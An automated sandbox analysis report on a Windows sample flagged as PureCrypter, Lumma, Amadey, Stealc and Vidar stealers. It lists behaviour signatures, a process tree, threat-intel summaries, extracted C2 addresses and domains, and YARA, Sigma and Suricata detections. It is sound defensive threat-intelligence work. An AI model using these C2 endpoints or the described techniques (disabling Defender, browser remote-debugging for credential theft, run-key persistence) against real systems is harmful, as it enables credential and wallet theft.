Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1553576
MD5:	277c62f3813525889d2ae9a5562817b3
SHA1:	ed9e5ed56898048706a886b691746016c6627e4b
SHA256:	bd1ada988e922b8954c930563166cefceb60ae1c15868fd2a6d3e20ec8fb8e70
Tags:	exeuser-Bitsight
Infos:

Detection

PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Detected PureCrypter Trojan

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6404 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 277C62F3813525889D2AE9A5562817B3)

chrome.exe (PID: 7116 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2940 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=1884,i,13590626300903968152,15304544705898681332,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7836 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8048 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2280,i,8263969002267575968,18168452341544240962,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 9048 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsECBGHCGCBK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsECBGHCGCBK.exe (PID: 9100 cmdline: "C:\Users\user\DocumentsECBGHCGCBK.exe" MD5: 0EA572534507BB08D80B0A5C07F511D9)

skotes.exe (PID: 3360 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 0EA572534507BB08D80B0A5C07F511D9)

msedge.exe (PID: 8132 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7684 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2764 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8356 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5352 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8372 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6968 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8508 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7404 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8548 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7404 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 6244 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4128 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 3564 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7000 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 6872 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6568 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 8800 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 0EA572534507BB08D80B0A5C07F511D9)

28d9ab8742.exe (PID: 4068 cmdline: "C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe" MD5: AF61DF2E64CC0A9FB7AF4C3DB55F6CD9)

3daf81f16e.exe (PID: 2724 cmdline: "C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe" MD5: 277C62F3813525889D2AE9A5562817B3)

skotes.exe (PID: 6392 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 0EA572534507BB08D80B0A5C07F511D9)

be33d1b9ea.exe (PID: 5356 cmdline: "C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe" MD5: 0EA680C4AA4B4BD15981D154A2554E69)

28d9ab8742.exe (PID: 7408 cmdline: "C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe" MD5: AF61DF2E64CC0A9FB7AF4C3DB55F6CD9)

3daf81f16e.exe (PID: 9140 cmdline: "C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe" MD5: 277C62F3813525889D2AE9A5562817B3)

be33d1b9ea.exe (PID: 3792 cmdline: "C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe" MD5: 0EA680C4AA4B4BD15981D154A2554E69)

28d9ab8742.exe (PID: 9032 cmdline: "C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe" MD5: AF61DF2E64CC0A9FB7AF4C3DB55F6CD9)

3daf81f16e.exe (PID: 6076 cmdline: "C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe" MD5: 277C62F3813525889D2AE9A5562817B3)

be33d1b9ea.exe (PID: 5336 cmdline: "C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe" MD5: 0EA680C4AA4B4BD15981D154A2554E69)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["presticitpo.store", "crisiwarny.store", "necklacedmny.store", "navygenerayk.store", "scriptyprefej.store", "fadehairucw.store", "founpiuer.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000017.00000002.2554745091.0000000000041000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000003.2999328469.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000003.2852160535.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000003.2878148913.0000000000CDC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000024.00000003.3247798892.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000021.00000002.3090234093.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000002.2881702630.0000000000911000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000003.3014928188.0000000005E71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000003.2841341620.0000000005100000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000002.3026569663.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000003.2875540719.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2122615907.0000000004B70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000002.3031855893.0000000005E01000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000003.2862807328.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000002.2882880413.000000000146E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000021.00000002.3087960505.0000000000911000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2492153777.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000024.00000002.3289871087.000000000153B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000003.2983198162.0000000008270000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2489334528.00000000001A1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000024.00000002.3288030820.0000000000911000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.2524957576.0000000000461000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 6404	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6404	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6404	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6404	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 28d9ab8742.exe PID: 4068	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 28d9ab8742.exe PID: 4068	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 28d9ab8742.exe PID: 4068	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 28d9ab8742.exe PID: 4068	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 28d9ab8742.exe PID: 4068	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 28d9ab8742.exe PID: 4068	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 3daf81f16e.exe PID: 2724	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 3daf81f16e.exe PID: 2724	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 28d9ab8742.exe PID: 7408	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 28d9ab8742.exe PID: 7408	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 28d9ab8742.exe PID: 7408	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 3daf81f16e.exe PID: 9140	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 3daf81f16e.exe PID: 9140	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 3daf81f16e.exe PID: 6076	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 3daf81f16e.exe PID: 6076	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 37 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
23.2.skotes.exe.40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.DocumentsECBGHCGCBK.exe.460000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8800, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\28d9ab8742.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6404, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7116, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8800, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\28d9ab8742.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:40:24.298995+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.6	49806	TCP
2024-11-11T12:41:02.635553+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.6	50111	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:41:11.329178+0100	2028371	3	Unknown Traffic	192.168.2.6	50116	23.50.98.133	443	TCP
2024-11-11T12:41:12.452188+0100	2028371	3	Unknown Traffic	192.168.2.6	50119	188.114.97.3	443	TCP
2024-11-11T12:41:13.293835+0100	2028371	3	Unknown Traffic	192.168.2.6	50120	188.114.97.3	443	TCP
2024-11-11T12:41:14.597891+0100	2028371	3	Unknown Traffic	192.168.2.6	50121	188.114.97.3	443	TCP
2024-11-11T12:41:15.941400+0100	2028371	3	Unknown Traffic	192.168.2.6	50124	188.114.97.3	443	TCP
2024-11-11T12:41:17.267190+0100	2028371	3	Unknown Traffic	192.168.2.6	50126	188.114.97.3	443	TCP
2024-11-11T12:41:18.623691+0100	2028371	3	Unknown Traffic	192.168.2.6	50127	188.114.97.3	443	TCP
2024-11-11T12:41:20.536360+0100	2028371	3	Unknown Traffic	192.168.2.6	50131	188.114.97.3	443	TCP
2024-11-11T12:41:24.056197+0100	2028371	3	Unknown Traffic	192.168.2.6	50135	23.50.98.133	443	TCP
2024-11-11T12:41:24.092720+0100	2028371	3	Unknown Traffic	192.168.2.6	50136	188.114.97.3	443	TCP
2024-11-11T12:41:25.184421+0100	2028371	3	Unknown Traffic	192.168.2.6	50141	188.114.97.3	443	TCP
2024-11-11T12:41:26.053022+0100	2028371	3	Unknown Traffic	192.168.2.6	50143	188.114.97.3	443	TCP
2024-11-11T12:41:27.403855+0100	2028371	3	Unknown Traffic	192.168.2.6	50147	188.114.97.3	443	TCP
2024-11-11T12:41:29.080823+0100	2028371	3	Unknown Traffic	192.168.2.6	50149	188.114.97.3	443	TCP
2024-11-11T12:41:30.586231+0100	2028371	3	Unknown Traffic	192.168.2.6	50151	188.114.97.3	443	TCP
2024-11-11T12:41:32.277646+0100	2028371	3	Unknown Traffic	192.168.2.6	50153	188.114.97.3	443	TCP
2024-11-11T12:41:33.543258+0100	2028371	3	Unknown Traffic	192.168.2.6	50155	188.114.97.3	443	TCP
2024-11-11T12:41:35.145027+0100	2028371	3	Unknown Traffic	192.168.2.6	50156	188.114.97.3	443	TCP
2024-11-11T12:41:48.312515+0100	2028371	3	Unknown Traffic	192.168.2.6	50165	23.192.247.89	443	TCP
2024-11-11T12:45:02.751789+0100	2028371	3	Unknown Traffic	192.168.2.6	61383	40.79.150.121	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:41:12.807000+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50119	188.114.97.3	443	TCP
2024-11-11T12:41:13.887949+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50120	188.114.97.3	443	TCP
2024-11-11T12:41:24.576332+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50136	188.114.97.3	443	TCP
2024-11-11T12:41:25.527568+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50141	188.114.97.3	443	TCP
2024-11-11T12:41:26.403178+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50143	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:41:12.807000+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50119	188.114.97.3	443	TCP
2024-11-11T12:41:25.527568+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50141	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:41:13.887949+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50120	188.114.97.3	443	TCP
2024-11-11T12:41:26.403178+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50143	188.114.97.3	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:41:11.522295+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50117	185.215.113.43	80	TCP
2024-11-11T12:41:16.034991+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50123	185.215.113.43	80	TCP
2024-11-11T12:41:19.666717+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50128	185.215.113.43	80	TCP
2024-11-11T12:41:24.694738+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50137	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:41:10.492601+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	62277	1.1.1.1	53	UDP
2024-11-11T12:41:23.215003+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	61456	1.1.1.1	53	UDP
